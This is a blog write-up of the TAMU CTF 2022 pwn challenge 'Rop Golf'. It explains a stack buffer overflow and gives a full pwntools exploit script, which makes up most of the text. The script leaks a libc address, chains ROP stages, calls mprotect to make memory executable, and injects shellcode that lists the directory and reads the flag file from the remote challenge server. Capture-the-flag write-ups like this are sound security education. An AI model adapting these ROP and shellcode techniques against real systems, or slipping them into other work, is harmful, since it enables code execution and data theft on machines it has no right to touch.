Aynakeya's Blog

Kill My Emotion

[Pwn] Rop Golf [Tamu CTF 2022]

0x0 Introduction

Author: sky

I keep on getting hacked by people using my shells! Now that I've deleted all the nonessential programs off my computer I should be safe... right?

The flag is in a *.txt file with a randomly generated name inside the same directory as the binary.

SNI: rop-golf

files: rop_golf, rop_golf.c, glibc 2.28

0x1 Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x2 Vulnerability

looking at the binary, the binary is contains a very simple buffer overflow vulnerability in funtion vuln. So in total, we have 72 -32 -8 = 32 bytes for buffer overflow.

We can do 4 rop operation.

However, the challenge server remove all the binary under /bin, /usr/bin/... So we are not able get a shell using system('/bin/sh').

So, In order to read the flag, we need to first manually do a ls to see what is flag name. Secondly, use open, read, write syscall to read the flag file and output to stdout.

Here is one way of manually doing ls, https://www.gnu.org/software/libc/manual/html_node/Simple-Directory-Lister.html

1
2
3
4
void vuln() {
char buf[32];
read(0, buf, 72);
}

Here is my solution

  1. In the first rop chain, using puts to leak libc address and return back to vuln
  2. In the second rop chain, use pop rdx; ret, 0x200, read addr. So that I can write 0x200 more data on the stack and construct a larger rop chain. (I can do stack pivot here but im kind of lazy to do that)
  3. In the third rop chain, which is now 0x200 bytes long. I first do mprotect on some memory pages so that i could put shellcode and gadgets on it. Then, i call read again to write shellcodes and essential gadgets into the memory page. Finally, I use rop chain to do a manually ls and read the flag.

0x3 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
from pwn import *


class BinaryInfo:
exe = "rop_golf_patched"
libc = "libc.so.6"

host = "rua.host.goes.here"
port = 8000


# Set up pwntools for the correct architecture
exe = context.binary = ELF(BinaryInfo.exe)
exe_rop = ROP(exe)
if BinaryInfo.libc != "":
libc = ELF(BinaryInfo.libc)
libc_rop = ROP(libc)
else:
libc = None
libc_rop = None


# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or BinaryInfo.host
port = int(args.PORT or BinaryInfo.port)


def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = remote("tamuctf.com", 443, ssl=True, sni="rop-golf")
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io


def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)


# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())


def log_print(*msg):
log.info(" ".join(map(str,msg)))


def int2byte(x: int):
return x.to_bytes(exe.bytes, "little")


def wait_for_debugger(io):
if args.LOCAL and input("debugger?") == "y\n":
pid = util.proc.pidof(io)[0]
log_print("The pid is: " + str(pid))
util.proc.wait_for_debugger(pid)
log_print("press enter to continue")

ret_addr = exe_rop.find_gadget(['ret'])[0]
pop_rdi_ret_addr = exe_rop.find_gadget(['pop rdi', 'ret'])[0]

io = start()
wait_for_debugger(io)

writable_addr = 0x0000000000404800

rop_1 = flat({
32: b'00000000',
32+8: [
pop_rdi_ret_addr,
exe.got['puts'],
exe.sym["puts"],
exe.sym["vuln"]
]
})

log_print("pop rdi ret",hex(pop_rdi_ret_addr))

io.sendafter(b"hi!\n",rop_1)
puts_addr = int.from_bytes(io.recvuntil(b'\n',drop=True),"little")
log_print("puts addr",hex(puts_addr))
libc_base_addr = puts_addr - libc.sym["puts"]
log_print("libc base addr",hex(libc_base_addr))

log_print(next(libc.search(b"%p\0")))
log_print("bin sh",hex(libc_base_addr + next(libc.search(b".\0"))))

log_print(libc.sym["opendir"])

log_print("mprotect",libc.sym["mprotect"])

pop_rsi_ret_addr = libc_base_addr + libc_rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_ret_addr = libc_base_addr + libc_rop.find_gadget(['pop rdx', 'ret'])[0]
leave_ret_addr = libc_base_addr + libc_rop.find_gadget(['leave', 'ret'])[0]
mov_rdx_rax_ret_addr = libc_base_addr + 0x0000000000115dff
push_rdx_ret_addr = libc_base_addr + 0x0000000000117171
add_rax_1_ret_addr = libc_base_addr + 0x00000000000b4a00
add_rax_3_ret_addr = libc_base_addr + 0x00000000000b4a10

log_print("pop rsi ret",hex(pop_rsi_ret_addr))
log_print("pop rdx ret",hex(pop_rdx_ret_addr))
log_print("leave ret",hex(leave_ret_addr))

rop_2 = flat({
32+8: [
pop_rdx_ret_addr,
0x200,
exe.sym["read"],
]
})
io.send(rop_2)
shellcode_mov_rdi_rax_ret = asm(shellcraft.mov("rdi","rax"))+asm(shellcraft.ret())
mov_rdi_rax_ret_addr = writable_addr

shellcode_mov_r15_rdi_ret = asm(shellcraft.mov("r15","rdi"))+asm(shellcraft.ret())
mov_r15_rdi_ret_addr = mov_rdi_rax_ret_addr + len(shellcode_mov_rdi_rax_ret)

shellcode_mov_rdi_r15_ret = asm(shellcraft.mov("rdi","r15"))+asm(shellcraft.ret())
mov_rdi_r15_ret_addr = mov_r15_rdi_ret_addr + len(shellcode_mov_r15_rdi_ret)

shellcode_add_rax_19_ret = bytes.fromhex("4883c013c3")
add_rax_19_ret_addr = mov_rdi_r15_ret_addr + len(shellcode_mov_rdi_r15_ret)

shellcode_read_file = b''.join([
asm(shellcraft.read(0, writable_addr+0x100, 100)),
asm(shellcraft.open(writable_addr+0x100, 0)),
asm(shellcraft.read('rax', writable_addr+0x100, 100)),
asm(shellcraft.write(1, writable_addr+0x100, 100))])

read_file_addr = add_rax_19_ret_addr + len(shellcode_add_rax_19_ret)

flag_file_name = b"066A2462DEB399BA9183A91FC116914C.txt"

# log_print(hex(mov_rdi_rax_ret_addr),hex(mov_rdx_rdi_ret_addr),hex(mov_rdi_rdx_ret_addr))
final_shellcodes = shellcode_mov_rdi_rax_ret+shellcode_mov_r15_rdi_ret+shellcode_mov_rdi_r15_ret + shellcode_add_rax_19_ret + shellcode_read_file




rop_3 = flat({
32+8: [
b'AAAAAAAA',
b'BBBBBBBB',
b'CCCCCCCC',
# make it rwx
pop_rdi_ret_addr,
0x0000000000404000,
pop_rsi_ret_addr,
0x1000,
pop_rdx_ret_addr,
1|2|4,
libc_base_addr + libc.sym["mprotect"],
# writing some gadget
pop_rdi_ret_addr,
0,
pop_rsi_ret_addr,
writable_addr,
pop_rdx_ret_addr,
0x100,
exe.sym["read"],
# print first filename
pop_rdi_ret_addr,
libc_base_addr + next(libc.search(b".\0")),
libc_base_addr + libc.sym["opendir"],
mov_rdi_rax_ret_addr,
mov_r15_rdi_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
mov_rdi_r15_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
mov_rdi_r15_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
mov_rdi_r15_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
# mov_rdi_r15_ret_addr,
# libc_base_addr + libc.sym["readdir"],
# add_rax_19_ret_addr,
# mov_rdi_rax_ret_addr,
# exe.sym["puts"],
read_file_addr
]
})
# input("asdf")
io.send(rop_3)
# input("writing gadgets")
io.send(final_shellcodes)
# input("lol")
log_print("filenames",io.recv())
io.send(flag_file_name)
log_print(io.recv())

0x4 Flag

gigem{r34lly_p1v071n6_7h47_574ck}

0%